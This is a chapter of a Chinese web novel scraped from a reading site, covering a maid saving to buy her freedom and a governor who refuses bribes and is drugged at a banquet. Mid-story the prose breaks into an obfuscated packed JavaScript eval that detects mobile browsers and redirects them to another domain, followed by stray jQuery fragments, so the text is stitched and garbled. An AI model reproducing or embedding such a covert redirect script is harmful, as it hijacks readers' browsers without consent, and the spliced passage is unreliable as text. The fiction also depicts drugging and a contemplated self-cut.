默认冷灰
24号文字
方正启体

5. 第五章

作者:草灯大人本书字数:K更新时间:
    第五章


    大年初一,阖府的奴仆送完了内院的宴菜后,全围到外院的公厨来。


    裴老太太开恩,每次开年第一日,都会允奴仆们在僻静的外院公厨煮些吃食,还会派发一笔赏钱,讨个好彩头。


    就说今年,林蓉这样不起眼的小喽啰也得了一两银子的赏赐,可把她喜得见眉不见眼。


    林蓉美滋滋地攒下银钱,又细数了一番,她已经攒了十四两银子了!再有一两就足够赎身钱了,待她再多做几个月的活,凑点盘缠,她便能离开裴家了!


    自此之后,林蓉想睡到几时就睡几时,不必怕主子怪罪,动辄打骂,甚至是发卖进下等窑子里。


    离开裴家后,林蓉会养些鸡鸭,每日下一两个蛋来加餐,再养一条看门护院的大黄狗……起初的日子肯定会难一些,但林蓉勤劳,肯干活,日子总会慢慢好起来。


    林蓉心里充满了对于未来好日子的无尽畅想,直到富贵跑来喊她吃烧鹅,林蓉方才停下往水缸里打水的动作,擦干了手,随人一同往远处灯火煌煌的厨房走去。


    富贵是外院的小厮,三年前才被卖到裴家,他如今十四岁了,比林蓉还小上三岁。因年纪小,又不懂规矩,没人愿意带他,但林蓉心慈,总会提点他一两句,自此富贵便将林蓉当成亲阿姐一般,一口一个“蓉姐姐”,跟在她屁股后头转。


    富贵把藏了半天的咸鸭蛋递给林蓉:“蓉姐姐快吃吧!这可是弟弟我从二房那边顺过来的好吃食,我本想留着佐粥吃呢!”


    林蓉喜欢吃咸口的腌物,有时是蛋黄流油的咸鸭蛋,有时是窖藏一整个冬天的腌萝卜,只需一小块配菜,她就能吃下两个馒头、一整碗白饭。


    赵婆子看她吃饭狼吞虎咽的样子,直笑话她小家子气,但林蓉也只是讪讪一笑,没有辩驳。


    她没对人说过,如今的日子比从前好些,少时家里人吃不饱饭,还想着拿她换肉换米,给弟弟进补。


    要不是牙人乃洞若观火的能人,辨出她的五官底子好,大有可为,用一笔钱买下林蓉,保不准她早就死在五六岁的年纪。


    林蓉是个知足常乐的姑娘,她没什么远大的志向,也没有什么攀高枝的野心,她甚至连新衣与胭脂都不喜欢。她就想每日干完活,能吃饱饭,穿暖睡足,被褥不冷,如此便心满意足。


    富贵见她收下咸鸭蛋,好奇地问:“蓉姐姐,外院都在传呢,说你好本事,去了玉尘院还能全须全尾地回来。你快给我说说,大少爷长什么样?可是生得俊逸不凡,如神仙菩萨一样?”


    富贵忽然问起裴瓒,林蓉呆了呆,嗫嚅:“我、我没敢看……”


    富贵目瞪口呆,他还当是阿姐有能耐,能让大少爷也对她另眼相待,敢情是根本没敢细看啊?


    倒也是,若非如此,林蓉怎么可能平安回到外院,她要是敢唐突家中主子,早就被打死在内院了。


    “这样最好……就连紫烟姐姐那般的人物都不能让大少爷生出丝毫怜悯,蓉姐姐还是谨言慎行,这样才能活得更长久一些。”富贵缩了缩脑袋,又是露齿一笑,“毕竟咱们做奴才的,不求荣华富贵,但求长命百岁嘛!”


    -


    初三那日,江州巡抚徐峻茂设下席面,邀请大都督裴瓒赴宴闲谈。


    裴瓒对外说是居家养伤,自然会推辞所有宴饮,闭门不出。


    奈何徐峻茂三番两次相邀,似是火烧屁股走投无路。


    裴瓒被人催逼了几次,只能备轿入席。


    江州远郊的一座私人宅邸,天色昏暗,悬山顶屋檐底下次第亮起黄澄澄的灯笼。


    宅门前,立着两尊狮子滚绣球抱鼓石。


    石雕旁边,两队披坚执锐的兵卒排列两侧,巡位排岗,军容肃穆。


    院内,云纹铜火盆里,炭火荜拨作响。桌上的美味珍馐早已放凉,连热气儿都不冒。


    黄花梨圈椅上,正坐着一名身穿梧枝绿圆领袍的清癯男子,他手执一盏黄山毛峰茶,碗盖拨了拨茶沫子,久不入口。


    此人正是病中赴宴的裴瓒。


    徐峻茂见裴瓒人是来了,但不吃不喝,显然不想同他扯上太多的干系,不由心中着急,干巴巴地喊:“大都督,这事儿说来也方便,只需您高抬贵手,同下官通个气儿,事情不就黑不提白不提地过去了么!”


    闻言,裴瓒只冷笑一声,并不接茬。


    徐峻茂狗胆包天,竟想贪墨那一笔用来赈济雪灾的官银。


    徐峻茂想与裴瓒一起演一场戏,故意说黄船在漕运输送银两的途中,不慎遭到倭寇水匪劫掠,这才损失近半的灾银。


    可裴瓒不蠢,若他应下此事,岂非承认自己治下不利,连水匪都猖獗?


    那他一个月后回京述职,怕是真要被元庆帝借题发挥,诛杀于接风洗尘的官宴上了。


    裴瓒垂眸不答,徐峻茂心知舍不得孩子套不着狼,他咬牙,肉疼地许诺:“倘若大都督应下此事,徐某愿献出十多万石粮草,以供养两州军士操练……”


    徐峻茂显然是知道裴瓒要上京,受君王发落的事。他知裴瓒死期将至,定不会坐以待毙,保不准要酿出兵祸,划江而治。


    如今,徐峻茂故意用军需辎重相诱,便是想将裴瓒拉到同一艘贼船上来……毕竟裴瓒若想违抗皇命,发兵起事,除却兵马强盛,还需粮草充足。


    哪知裴瓒闻言,竟低叹一声:“并非裴某不肯助徐大人一臂之力,实乃心有余而力不足。徐大人应该知晓,裴某揽兵的印绶已缴,再过二十多天,裴某便要上京述职,谁知此番面圣,还有没有机会回到故里……”


    裴瓒暗示徐峻茂,他今儿都是泥菩萨过河,自身难保,又怎有法子将徐峻茂捞上岸。


    可徐峻茂也不蠢笨,当他是瞎子么?倘若裴瓒手上真没兵权,外头围着私宅的那些军将是什么?!难不成还是裴瓒从犄角旮旯地里雇来的打手吗?!


    徐峻茂自认今日这场宴会,实乃瞌睡时递枕头,裴瓒定会照单全收。


    可看裴瓒嘴上说“正是多事之秋,不敢顶风作案”,实则他半点不慌张,老神在在,又实在令人摸不清头脑。


    徐峻茂一时无言,他猜不透裴瓒的心思,只能干笑着陪酒。


    裴瓒饮下两盏茶水,指骨微动,轻捻上腕间那串佛前开过光的念珠,缄默不语。


    裴瓒本不知徐峻茂藏私贪污,偏徐峻茂愚钝,非要撞枪口上来。


    如今裴瓒已知徐峻茂贪墨官银,又家底殷实,自当“劫富济贫”。


    与其跟着徐峻茂同流合污,倒不如让裴瓒派出这一帮忠心耿耿的“水匪”,将徐峻茂的万贯家财收入囊中,用于养兵。


    至于漏出的那个国帑窟窿该如何填,便是徐峻茂自个儿要操心的事儿了。


    毕竟徐峻茂本就是贪官污吏,让他顶缸,也不算冤枉了他。


    他人生死,也与裴瓒无关。


    酒过三巡,宴上忽然来了一名不速之客。


    是个年近五十的男人。来人穿一身貂毛银氅,头戴金冠,龙行虎步,周身气度不凡,显然出身高贵。


    裴瓒略一思忖,便猜到来人身份。


    应是就藩渝州的秦王,当今圣上的皇弟。


    按理说,地方藩王应在封地里莳花弄草,绵延子嗣,又怎会出现于徐家私宴?


    裴瓒难得有一瞬疑惑,但他素来擅于敛色,并未探问分毫。


    裴瓒手握兵权,未及而立之年,就如此沉得住气,倒让秦王惊诧。


    秦王含笑上前,给裴瓒敬上一杯酒:“久闻裴都督雄才大略,实乃超世之才,如此国士,他日若折于京中,岂不可惜?”


    秦王知道裴瓒是个聪明人,他没和裴瓒兜圈子,径直挑明来意。


    元庆帝想要卸磨杀驴,将裴瓒手中兵权收回,如今裴瓒是骑虎难下,自该想想后手。


    秦王有称帝野心,他意欲与裴瓒结盟,共同起事,共商千秋帝业。


    花枝已经丢出,且看裴瓒会不会接下他的好意。


    裴瓒素来城府深沉,又怎会受这三言两语的挑唆,落人话柄?


    裴瓒只笑不语,敷衍道了句:“秦王谬赞,裴某不过一庸人尔,怎敢担此赞誉。”


    裴瓒心知肚明,秦王必是以为,他不过秋后蚱蜢,蹦跶不远,方敢如此试探……


    秦王微扬眉梢,哈哈两声笑:


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16484313|185665||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    “裴大都督若是庸常之人,这世上恐怕就没有聪明人了。来,本王敬你一杯。”


    裴瓒虽落了秦王的脸,但他到底不愿结仇,这杯酒还是笑着接下了。


    只是酒水甫一下肚,裴瓒渐觉出不对劲来。


    不过几两黄汤,裴瓒不说酒量过人,但宴席间饮上几坛不在话下。可今日,酒水入喉,裴瓒竟觉腹腔灼热,如火在烧。


    裴瓒一双凤眸渐沉,嘴角微扬,笑意冰冷……这酒里有问题。


    酒里不会是穿肠毒药,因秦王没胆子对他下手。


    毕竟秦王欲与裴瓒结盟,自该保全裴瓒的安危。


    遑论裴瓒的兵马镇守门外,只需他一声令下,便能让大军长驱直入,屠尽宅中全部人马。


    如此鼎盛兵力,秦王又怎敢轻举妄动?


    裴瓒气息渐重,他忍下鬓角生发出的热汗,不动声色瞥一眼庭院外探头探脑的娇俏女子,心中猜出一二。


    想来是这杯烈酒中掺了些“燥心热肺、迷人神志”的药汤……秦王蓄意下药,趁人之危,再借机献女,试图以此讨好裴瓒。


    果不其然,秦王抚掌两声,召来那名薄纱披身的妙龄女子,对裴瓒道:“此为本王庶女,名唤静姝。静姝仰慕裴都督已久,听闻今日裴都督赴宴,特地央求本王带她参席,也好近身侍奉裴都督。”


    言毕,静姝抬起一双水光潋滟的媚眼,娇怯地望向裴瓒,屈膝行礼。


    静姝本想侍奉裴瓒宽衣,也好趁机将他搀进一侧的寝房之中,奈何裴瓒眸光清明,半点不似吃了媚.酒、饱受摧折的模样,倒让人心里惊疑。


    没等静姝伸手,裴瓒已然轻扬广袖,拂去女子递来的纤细柔荑。


    裴瓒撩袍起身,对秦王等人道:“夜深露重,裴某有伤在身,仍需休养,是时候打道回府。今夜的酒宴妙极,来日如有机会,裴某自当再与王爷、徐大人畅谈一夜,敬几杯酒水。”


    裴瓒执意要走,秦王不好强留。


    秦王出屋送人,他凝视那一道踽踽行入风雪中的清隽背影,重重拧眉。


    一时之间,秦王也猜不透,究竟是裴瓒定力超群,还是他行事疏忽,没往酒里添药。


    只是,裴瓒态度坚决,不愿收下秦王送来的庶女,亦让他明白裴瓒此人心性孤高,他竟没有与地方藩王结盟的念想……秦王本想着能借裴瓒兵马,揭竿而起,直逼皇都,奈何裴瓒油盐不进,竟三番两次拒他拉拢,实在令人恼火。


    愚钝竖子!


    难不成裴瓒还真打算一月后上京赴死?若说裴瓒此人心性赤忱,当真存有忠君爱国之心,那是打死秦王,他也万万不会相信的!


    -


    马车上,裴瓒体内的媚.毒猝然发作,来势汹汹,竟令他肩背汗湿,腹下起势,难抑燥火。


    裴瓒一双凤目阒黑,如烧簇簇炽烈焰火,下颌线条紧绷,白瓷薄皮底下,隐有虬结青筋鼓噪,俨然是情.欲熏心的模样。


    裴瓒闭目,强行将此等邪念压制下去。


    冯叔见主子面色苍白,不由着急地问:“爷,您怎么办?要不咱们寻个秦楼楚馆,先解开药酒再说?”


    裴瓒蹙眉,冷声道:“回府。”


    裴瓒嫌弃旁人脏污,不欲女子近身。


    但他心知此药甚烈,单是以手自.渎,亦无法纾解渴念。


    ……为今之计,恐怕只有放血散热。


    冯叔见裴瓒取来匕首,吓得六神无主。


    老仆急忙跪地,颤巍巍握住了裴瓒的臂骨,制止自家主子犯傻:“爷!何必自伤身体,您要是嫌弃那馆子里的妓子腌臜,咱们回府上随意找个通房丫鬟便是!无非是给一场雨露恩宠,府上哪个丫鬟不想得主子的恩典?这是好事儿,爷,权当施舍了,可千万不要动刀伤身啊……”


    冯叔苦口婆心地劝慰,他不忍看着自家小主子自.残。


    许是冯叔的规劝起了效果,待马车停至裴府门口,裴瓒终是放缓了态度,男人薄唇微抿,淡道一句:“你去办吧。”


    见主子被自己说服,冯叔大喜过望,他匆忙爬下马车,高声应道:“是,主子上玉尘院稍等片刻,老奴这就去召人!”
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)